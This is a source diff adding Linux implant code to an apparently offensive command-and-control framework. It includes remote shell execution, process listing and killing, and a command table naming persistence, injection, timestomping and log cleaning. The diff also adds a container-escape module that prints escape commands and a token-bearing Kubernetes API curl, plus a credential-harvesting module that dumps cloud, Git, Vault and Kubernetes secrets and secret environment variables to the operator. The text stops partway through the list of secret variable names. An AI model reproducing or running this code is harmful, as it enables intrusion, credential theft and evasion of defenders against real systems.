+ sys_close(fd); + if (n <= 0) goto fallback; + passwd[n] = '\0'; + + char uid_str[16]; + ax_itoa(uid, uid_str, 10); + size_t uid_len = ax_strlen(uid_str); + + { + char *line = passwd; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: name:x:uid:gid:... + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + char *uid_start = p2 + 1; + char *p3 = ax_strchr(uid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - uid_start); + if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) { + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + } + +fallback: + ax_itoa(uid, buf, 10); +} + +/// Convert tty_nr to tty name string +static void tty_to_name(int tty_nr, char *buf, size_t buf_size) { + if (tty_nr == 0) { + ax_strncpy(buf, "?", buf_size - 1); + buf[buf_size - 1] = '\0'; + return; + } + int major = (tty_nr >> 8) & 0xff; + int minor = tty_nr & 0xff; + + if (major == 136) { + // pts/ + ax_strcpy(buf, "pts/"); + char num[16]; + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } else if (major == 4 && minor < 64) { + // tty + ax_strcpy(buf, "tty"); + char num[16]; + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } else { + ax_strcpy(buf, "tty"); + char num[16]; + ax_itoa(major, num, 10); + ax_strcat(buf, num); + ax_strcat(buf, "/"); + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } +} + +// ── getdents64 for /proc scanning ── + +struct linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +// ──── Command handlers ──── + +int task_ps(mp_writer_t *w) +{ + // Scan /proc for numeric directories → each is a PID + int dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open /proc"); + mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0); + return 0; + } + + // First pass: count PIDs + char dirbuf[4096]; + uint32_t count = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9') { + count++; + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + // Second pass: collect process info + dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot reopen /proc"); + mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0); + return 0; + } + + mp_writer_t procs; + mp_writer_init(&procs, 4096); + mp_write_array(&procs, count); + + uint32_t written = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9' && written < count) { + // Read /proc//stat + char stat_path[64]; + ax_strcpy(stat_path, "/proc/"); + ax_strcat(stat_path, d->d_name); + ax_strcat(stat_path, "/stat"); + + char stat_buf[1024]; + int sfd = sys_open(stat_path, O_RDONLY, 0); + if (sfd >= 0) { + long n = sys_read(sfd, stat_buf, sizeof(stat_buf) - 1); + sys_close(sfd); + if (n > 0) { + stat_buf[n] = '\0'; + + int pid = 0, ppid = 0, tty_nr = 0; + char comm[256] = {0}; + + if (parse_proc_stat(stat_buf, &pid, comm, sizeof(comm), &ppid, &tty_nr) == 0) { + // Get UID + int proc_uid = 0; + get_proc_uid(pid, &proc_uid); + + char user[64]; + uid_to_name(proc_uid, user, sizeof(user)); + + char tty[32]; + tty_to_name(tty_nr, tty, sizeof(tty)); + + // Write PsInfo map: {pid, ppid, tty, context, process} + mp_write_map(&procs, 5); + mp_write_kv_int(&procs, "pid", pid); + mp_write_kv_int(&procs, "ppid", ppid); + mp_write_kv_str(&procs, "tty", tty); + mp_write_kv_str(&procs, "context", user); + mp_write_kv_str(&procs, "process", comm); + + written++; + } + } + } + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + // If we wrote fewer than count (processes died between passes), pad with empty maps + while (written < count) { + mp_write_map(&procs, 5); + mp_write_kv_int(&procs, "pid", 0); + mp_write_kv_int(&procs, "ppid", 0); + mp_write_kv_str(&procs, "tty", "?"); + mp_write_kv_str(&procs, "context", ""); + mp_write_kv_str(&procs, "process", "[dead]"); + written++; + } + + // AnsPs: {result: bool, status: string, processes: []byte} + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_bin(w, "processes", procs.buf.data, (uint32_t)procs.buf.len); + + mp_writer_free(&procs); + return 0; +} + +int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Parse {pid: int} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + int pid = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + uint64_t v; mp_read_uint(&r, &v); pid = (int)v; + } else { + mp_skip(&r); + } + } + + if (pid <= 0) { + write_error(w, "invalid pid"); + return 0; + } + + if (sys_kill(pid, SIGKILL) != 0) { + write_error(w, "kill failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Go sends: {program: "/bin/sh", args: ["-c", "whoami"]} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char program_buf[512] = {0}; + // argv slots: [program, arg0, arg1, ..., NULL] — max 32 args + #define SHELL_MAX_ARGS 32 + char *argv_ptrs[SHELL_MAX_ARGS + 2]; // +1 for program, +1 for NULL + int argc = 0; + char args_storage[4096] = {0}; + size_t args_off = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "program", 7) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) break; + if (vlen >= sizeof(program_buf)) vlen = sizeof(program_buf) - 1; + ax_memcpy(program_buf, val, vlen); + program_buf[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) { + // args is an array of strings: ["-c", "whoami"] + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) { + mp_skip(&r); + continue; + } + for (uint32_t j = 0; j < arr_count && argc < SHELL_MAX_ARGS; j++) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) break; + if (args_off + vlen + 1 > sizeof(args_storage)) break; + ax_memcpy(args_storage + args_off, val, vlen); + args_storage[args_off + vlen] = '\0'; + argv_ptrs[1 + argc] = args_storage + args_off; + argc++; + args_off += vlen + 1; + } + } else { + mp_skip(&r); + } + } + + if (program_buf[0] == '\0') { + ax_strcpy(program_buf, "/bin/sh"); + } + + // Build final argv: [program, args..., NULL] + argv_ptrs[0] = program_buf; + argv_ptrs[1 + argc] = (char *)0; + + // Set up pipe for stdout+stderr capture + int pipefd[2]; + if (sys_pipe2(pipefd, 0) != 0) { + write_error(w, "pipe2 failed"); + return 0; + } + + int pid = sys_fork(); + if (pid < 0) { + sys_close(pipefd[0]); + sys_close(pipefd[1]); + write_error(w, "fork failed"); + return 0; + } + + if (pid == 0) { + // Child process + sys_close(pipefd[0]); + sys_dup2(pipefd[1], 1); + sys_dup2(pipefd[1], 2); + sys_close(pipefd[1]); + + char *envp[] = { (char *)0 }; + sys_execve(program_buf, argv_ptrs, envp); + sys_exit_group(127); + } + + // Parent + sys_close(pipefd[1]); // close write end + + // Read output from child + size_t out_cap = 8192; + size_t out_len = 0; + uint8_t *output = (uint8_t *)ax_malloc(out_cap); + + for (;;) { + if (out_len + 4096 > out_cap) { + out_cap *= 2; + output = (uint8_t *)ax_realloc(output, out_cap); + } + long n = sys_read(pipefd[0], output + out_len, 4096); + if (n <= 0) break; + out_len += (size_t)n; + } + sys_close(pipefd[0]); + + // Wait for child + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + + // Null-terminate for string output + if (out_len + 1 > out_cap) { + output = (uint8_t *)ax_realloc(output, out_len + 1); + } + output[out_len] = '\0'; + + // AnsShell: {output: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char *)output); + + ax_free(output); + return 0; +} + +int task_getuid(mp_writer_t *w) +{ + int uid = sys_getuid(); + int euid = sys_geteuid(); + + char uid_name[64], euid_name[64]; + uid_to_name(uid, uid_name, sizeof(uid_name)); + uid_to_name(euid, euid_name, sizeof(euid_name)); + + // Build "uid=() euid=()" string + char result[256]; + ax_strcpy(result, "uid="); + char num[16]; + ax_itoa(uid, num, 10); + ax_strcat(result, num); + ax_strcat(result, "("); + ax_strcat(result, uid_name); + ax_strcat(result, ") euid="); + ax_itoa(euid, num, 10); + ax_strcat(result, num); + ax_strcat(result, "("); + ax_strcat(result, euid_name); + ax_strcat(result, ")"); + + // AnsShell: {output: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "output", result); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h new file mode 100644 index 000000000..8c63409ae --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h @@ -0,0 +1,15 @@ +#ifndef TASKS_PROC_H +#define TASKS_PROC_H + +#include "msgpack.h" +#include + +/// Process command handlers +/// ps, kill, shell + +int task_ps(mp_writer_t *w); +int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_getuid(mp_writer_t *w); + +#endif /* TASKS_PROC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h new file mode 100644 index 000000000..47ff52228 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h @@ -0,0 +1,109 @@ +#ifndef TYPES_H +#define TYPES_H + +#include +#include + +/// Boolean type +#ifndef __cplusplus +#ifndef bool +typedef _Bool bool; +#define true 1 +#define false 0 +#endif +#endif + +/// NULL +#ifndef NULL +#define NULL ((void*)0) +#endif + +/// Command codes — must match Go-side defines in pl_utils.go +#define COMMAND_ERROR 0 +#define COMMAND_PWD 1 +#define COMMAND_CD 2 +#define COMMAND_SHELL 3 +#define COMMAND_EXIT 4 +#define COMMAND_DOWNLOAD 5 +#define COMMAND_UPLOAD 6 +#define COMMAND_CAT 7 +#define COMMAND_CP 8 +#define COMMAND_MV 9 +#define COMMAND_MKDIR 10 +#define COMMAND_RM 11 +#define COMMAND_LS 12 +#define COMMAND_PS 13 +#define COMMAND_KILL 14 +#define COMMAND_ZIP 15 +#define COMMAND_RUN 17 +#define COMMAND_JOB_LIST 18 +#define COMMAND_JOB_KILL 19 + +// Linux-specific commands (slots 20-30) +#define COMMAND_GETUID 20 +#define COMMAND_ENV 21 +#define COMMAND_NETSTAT 22 +#define COMMAND_MOUNTS 23 +#define COMMAND_EDR 24 +#define COMMAND_CREDS 25 +#define COMMAND_PERSIST 26 +#define COMMAND_CONTAINER 27 + +// OPSEC commands (slots 28-30, 37-38) +#define COMMAND_MASQUERADE 28 +#define COMMAND_TIMESTOMP 29 +#define COMMAND_CLEANLOG 30 +#define COMMAND_INJECT 37 +#define COMMAND_MIGRATE 38 + +// Pivot commands (slots 39-41) +#define COMMAND_PIVOT_EXEC 39 +#define COMMAND_LINK 40 +#define COMMAND_UNLINK 41 + +// Tunnel/Terminal commands (control) +#define COMMAND_TUNNEL_START 31 +#define COMMAND_TUNNEL_STOP 32 +#define COMMAND_TUNNEL_PAUSE 33 +#define COMMAND_TUNNEL_RESUME 34 + +#define COMMAND_TERMINAL_START 35 +#define COMMAND_TERMINAL_STOP 36 + +// Tunnel MUX commands (data flows in main channel, not separate connection) +#define COMMAND_TUNNEL_WRITE 42 // teamserver → agent: write data to target +#define COMMAND_TUNNEL_STATUS 43 // agent → teamserver: connect result +#define COMMAND_TUNNEL_DATA 44 // agent → teamserver: data from target +#define COMMAND_TUNNEL_CLOSE 45 // agent → teamserver: channel closed + +// BOF commands (slots 50-52) +#define COMMAND_EXEC_BOF 50 // execute ELF BOF in-memory +#define COMMAND_EXEC_BOF_OUT 51 // BOF output callback +#define COMMAND_EXEC_BOF_ASYNC 52 // execute ELF BOF in background thread + +/// Pack types for agent ↔ teamserver protocol +#define INIT_PACK 1 +#define EXFIL_PACK 2 +#define JOB_PACK 3 +#define JOB_TUNNEL 4 +#define JOB_TERMINAL 5 +#define BOF_PACK 6 + +/// Pivot type constants +#define PIVOT_TYPE_TCP 2 +#define PIVOT_TYPE_DISCONNECT 10 + +/// Dynamic buffer type +typedef struct { + uint8_t *data; + int len; + int cap; +} buffer_t; + +// buffer_t functions are implemented in crt.c +void buf_init(buffer_t *b, int initial_cap); +void buf_append(buffer_t *b, const void *data, int len); +void buf_free(buffer_t *b); +void buf_reset(buffer_t *b); + +#endif // TYPES_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c new file mode 100644 index 000000000..506fa66f7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c @@ -0,0 +1,253 @@ +/// container_detect.c — BOF: Container detection + escape/breakout hints +/// Compile: gcc -c -o container_detect.o container_detect.c -include bof_api.h -Os -fPIC +/// Usage: execute bof container_detect.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +static int file_exists(const char *path) { + unsigned int mode = 0; + return (AxFileStat(path, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0); +} + +static int file_contains(const char *path, const char *needle) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 65536); + if (len <= 0 || !data) return 0; + int found = (AxStrstr(data, needle) != (char *)0); + AxFree(data); + return found; +} + +static void check_docker(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Docker ===\n"); + int is_docker = 0; + + if (file_exists("/.dockerenv")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] /.dockerenv exists\n"); + is_docker = 1; + } + + if (file_contains("/proc/1/cgroup", "docker")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] /proc/1/cgroup contains 'docker'\n"); + is_docker = 1; + } + + if (file_contains("/proc/1/cgroup", "/docker/")) { + is_docker = 1; + } + + // Check if we can see docker socket + if (file_exists("/var/run/docker.sock")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Docker socket accessible at /var/run/docker.sock\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: docker run -v /:/host --rm -it alpine chroot /host sh\n"); + } + + // Check if /proc/1/cgroup shows we're in a container + if (!is_docker) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No Docker indicators\n"); + } else { + // Check for privileged mode + char *status = (char *)0; + int slen = AxReadFileToBuffer("/proc/1/status", &status, 8192); + if (slen > 0 && status) { + char *seccomp = AxStrstr(status, "Seccomp:"); + if (seccomp) { + seccomp += 8; + while (*seccomp == ' ' || *seccomp == '\t') seccomp++; + if (*seccomp == '0') { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Seccomp disabled — likely PRIVILEGED container\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: mount host fs, nsenter, load kernel module\n"); + } + } + AxFree(status); + } + + // Check for host PID namespace + char *sched = (char *)0; + int sc_len = AxReadFileToBuffer("/proc/1/sched", &sched, 4096); + if (sc_len > 0 && sched) { + // If PID 1 is not init/systemd, we see host processes + if (AxStrstr(sched, "systemd") == (char *)0 && + AxStrstr(sched, "init") == (char *)0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] PID 1 is not init/systemd — may share host PID namespace\n"); + } + AxFree(sched); + } + + // Check mounted devices + char *mounts = (char *)0; + int mt_len = AxReadFileToBuffer("/proc/mounts", &mounts, 131072); + if (mt_len > 0 && mounts) { + if (AxStrstr(mounts, "/dev/sd") || AxStrstr(mounts, "/dev/nvme") || + AxStrstr(mounts, "/dev/vd")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] Block devices mounted — disk access possible\n"); + } + AxFree(mounts); + } + + // Check capabilities + char *cap = (char *)0; + int cap_len = AxReadFileToBuffer("/proc/1/status", &cap, 8192); + if (cap_len > 0 && cap) { + char *cap_eff = AxStrstr(cap, "CapEff:"); + if (cap_eff) { + cap_eff += 7; + while (*cap_eff == ' ' || *cap_eff == '\t') cap_eff++; + // Full caps = 000001ffffffffff or higher + if (AxStrstr(cap_eff, "0000003fffffffff") || + AxStrstr(cap_eff, "000001ffffffffff") || + AxStrstr(cap_eff, "0000003fffff")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Full capabilities detected — PRIVILEGED\n"); + } + char cap_val[32]; + int ci = 0; + while (cap_eff[ci] && cap_eff[ci] != '\n' && ci < 31) { + cap_val[ci] = cap_eff[ci]; + ci++; + } + cap_val[ci] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " CapEff: %s\n", cap_val); + } + AxFree(cap); + } + } +} + +static void check_kubernetes(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Kubernetes ===\n"); + int is_k8s = 0; + + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] K8s service account token found\n"); + is_k8s = 1; + + char *token = (char *)0; + int tlen = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/token", &token, 8192); + if (tlen > 0 && token) { + // Show first/last 20 chars + if (tlen > 40) { + BeaconPrintf(CALLBACK_OUTPUT, " Token: %.20s...%.20s (%d bytes)\n", + token, token + tlen - 20, tlen); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " Token: %s\n", token); + } + AxFree(token); + } + + char *ns = (char *)0; + int ns_len = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/namespace", &ns, 256); + if (ns_len > 0 && ns) { + if (ns[ns_len - 1] == '\n') ns[ns_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Namespace: %s\n", ns); + AxFree(ns); + } + } + + // Check K8s env vars + char val[256]; + if (AxGetEnv("KUBERNETES_SERVICE_HOST", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_HOST=%s\n", val); + is_k8s = 1; + } + if (AxGetEnv("KUBERNETES_SERVICE_PORT", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_PORT=%s\n", val); + } + if (AxGetEnv("KUBERNETES_PORT", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_PORT=%s\n", val); + } + + if (is_k8s) { + BeaconPrintf(CALLBACK_OUTPUT, " [*] Pivot hints:\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - curl -sk https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces -H 'Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - Check RBAC: can-i list pods/secrets/configmaps\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - Look for overly permissive service accounts\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No Kubernetes indicators\n"); + } +} + +static void check_lxc(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LXC/LXD ===\n"); + + if (file_contains("/proc/1/cgroup", "lxc")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (cgroup)\n"); + } else if (file_contains("/proc/1/environ", "container=lxc")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (environ)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No LXC indicators\n"); + } +} + +static void check_cgroup_escape(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Cgroup escape checks ===\n"); + + // Check if cgroup v1 release_agent is writable + char *cgroup = (char *)0; + int cg_len = AxReadFileToBuffer("/proc/1/cgroup", &cgroup, 4096); + if (cg_len > 0 && cgroup) { + BeaconPrintf(CALLBACK_OUTPUT, " /proc/1/cgroup:\n"); + BeaconOutput(CALLBACK_OUTPUT, cgroup, cg_len); + AxFree(cgroup); + } + + // Check cgroupfs mount + if (file_exists("/sys/fs/cgroup/memory/release_agent")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] release_agent exists — CVE-2022-0492 potential\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: echo 1 > /sys/fs/cgroup/.../notify_on_release; write release_agent\n"); + } + + // Check /proc/sysrq-trigger (privileged indicator) + if (file_exists("/proc/sysrq-trigger")) { + unsigned int mode = 0; + AxFileStat("/proc/sysrq-trigger", &mode, (long *)0, (unsigned int *)0, (unsigned int *)0); + if (mode & 0200) { // writable + BeaconPrintf(CALLBACK_OUTPUT, " [!] /proc/sysrq-trigger is writable — privileged container\n"); + } + } + + // Check core_pattern escape + if (file_exists("/proc/sys/kernel/core_pattern")) { + char *core = (char *)0; + int core_len = AxReadFileToBuffer("/proc/sys/kernel/core_pattern", &core, 256); + if (core_len > 0 && core) { + if (core[0] == '|') { + BeaconPrintf(CALLBACK_OUTPUT, " [!] core_pattern uses pipe: %s", core); + } + AxFree(core); + } + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Container detection + escape analysis\n"); + + // General container check + BeaconPrintf(CALLBACK_OUTPUT, "\n=== General indicators ===\n"); + + char val[256]; + if (AxGetEnv("container", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] $container=%s\n", val); + } + + // PID 1 check + char *cmdline = (char *)0; + int cl_len = AxReadFileToBuffer("/proc/1/cmdline", &cmdline, 256); + if (cl_len > 0 && cmdline) { + BeaconPrintf(CALLBACK_OUTPUT, " PID 1: %s\n", cmdline); + AxFree(cmdline); + } + + // Detect type + check_docker(); + check_kubernetes(); + check_lxc(); + check_cgroup_escape(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Container analysis complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c new file mode 100644 index 000000000..fe1297ca8 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c @@ -0,0 +1,263 @@ +/// cred_harvest.c — BOF: Harvest cloud credentials (AWS/GCP/Azure/K8s/Docker) +/// Compile: gcc -c -o cred_harvest.o cred_harvest.c -include bof_api.h -Os -fPIC +/// Usage: execute bof cred_harvest.o +/// Note: Complements built-in `creds` command with deeper scanning: +/// - Scans ALL users (not just current), requires root +/// - Checks additional locations (terraform, vault, npm, pip, git) +/// - Extracts IMDS/metadata endpoints for cloud pivoting + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +typedef struct { + const char *subpath; + const char *description; + int show_content; // 1 = dump content, 0 = just report existence +} cred_file_t; + +static const cred_file_t cred_files[] = { + // AWS + {".aws/credentials", "AWS credentials", 1}, + {".aws/config", "AWS config", 1}, + // GCP + {".config/gcloud/application_default_credentials.json", "GCP ADC", 1}, + {".config/gcloud/credentials.db", "GCP credentials DB", 0}, + {".config/gcloud/access_tokens.db", "GCP access tokens DB", 0}, + // Azure + {".azure/accessTokens.json", "Azure tokens", 1}, + {".azure/azureProfile.json", "Azure profile", 0}, + {".azure/msal_token_cache.json", "Azure MSAL cache", 1}, + // Docker + {".docker/config.json", "Docker registry auth", 1}, + // Kubernetes + {".kube/config", "Kubernetes config", 1}, + // Terraform + {".terraform.d/credentials.tfrc.json", "Terraform Cloud token", 1}, + {".terraformrc", "Terraform config", 1}, + // Vault + {".vault-token", "HashiCorp Vault token", 1}, + // NPM + {".npmrc", "NPM registry auth", 1}, + // Pip / PyPI + {".pypirc", "PyPI upload credentials", 1}, + // Git + {".git-credentials", "Git stored credentials", 1}, + {".gitconfig", "Git config", 1}, + // Heroku + {".netrc", "netrc (Heroku/APIs)", 1}, + // GitHub CLI + {".config/gh/hosts.yml", "GitHub CLI token", 1}, + // Fly.io + {".fly/config.yml", "Fly.io token", 1}, + // Pulumi + {".pulumi/credentials.json", "Pulumi credentials", 1}, + // Ansible + {".ansible/vault_password", "Ansible vault pw", 1}, + // Sentinel + {(const char *)0, (const char *)0, 0} +}; + +static void scan_user_creds(const char *homedir, const char *username) { + int found = 0; + + for (int i = 0; cred_files[i].subpath; i++) { + char filepath[768]; + AxSnprintf(filepath, sizeof(filepath), "%s/%s", homedir, cred_files[i].subpath); + + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0) + continue; + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s)\n", username, homedir); + } + found++; + + if (cred_files[i].show_content && fsize > 0 && fsize < 65536) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(filepath, &data, 65536); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n", + cred_files[i].subpath, cred_files[i].description, fsize); + // Indent content + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (dlen > 0 && data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + AxFree(data); + } + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n", + cred_files[i].subpath, cred_files[i].description, fsize); + } + } +} + +static void check_system_creds(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== System-wide credential files ===\n"); + + typedef struct { + const char *path; + const char *desc; + int show; + } sys_cred_t; + + static const sys_cred_t sys_creds[] = { + {"/etc/shadow", "Shadow passwords", 0}, + {"/var/run/secrets/kubernetes.io/serviceaccount/token", "K8s SA token", 1}, + {"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", "K8s CA cert", 0}, + {"/var/run/secrets/kubernetes.io/serviceaccount/namespace", "K8s namespace", 1}, + {"/etc/rancher/k3s/k3s.yaml", "K3s kubeconfig", 1}, + {"/etc/kubernetes/admin.conf", "K8s admin config", 1}, + {"/var/lib/kubelet/kubeconfig", "Kubelet config", 1}, + {"/root/.docker/config.json", "Root Docker auth", 1}, + {"/etc/docker/daemon.json", "Docker daemon config", 1}, + {"/etc/vault.d/vault.hcl", "Vault server config", 1}, + {"/etc/consul.d/consul.hcl", "Consul config", 0}, + {"/opt/containerd/config.toml", "Containerd config", 0}, + {(const char *)0, (const char *)0, 0} + }; + + for (int i = 0; sys_creds[i].path; i++) { + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(sys_creds[i].path, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0) + continue; + + if (sys_creds[i].show && fsize > 0 && fsize < 65536) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(sys_creds[i].path, &data, 65536); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n", + sys_creds[i].path, sys_creds[i].desc, fsize); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (dlen > 0 && data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + AxFree(data); + } + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n", + sys_creds[i].path, sys_creds[i].desc, fsize); + } + } +} + +static void check_env_creds(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Environment variables (secrets) ===\n"); + + const char *env_vars[] = { + "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", + "GOOGLE_APPLICATION_CREDENTIALS", "GOOGLE_CLOUD_PROJECT", + "AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID", + "VAULT_TOKEN", "VAULT_ADDR", + "DOCKER_AUTH_CONFIG", + "GITHUB_TOKEN", "GH_TOKEN", "GITLAB_TOKEN", + "NPM_TOKEN", + "DATABASE_URL", "DB_PASSWORD", "MYSQL_ROOT_PASSWORD", + "POSTGRES_PASSWORD", "REDIS_PASSWORD", + "JWT_SECRET", "SECRET_KEY", "API_KEY", + (const char *)0 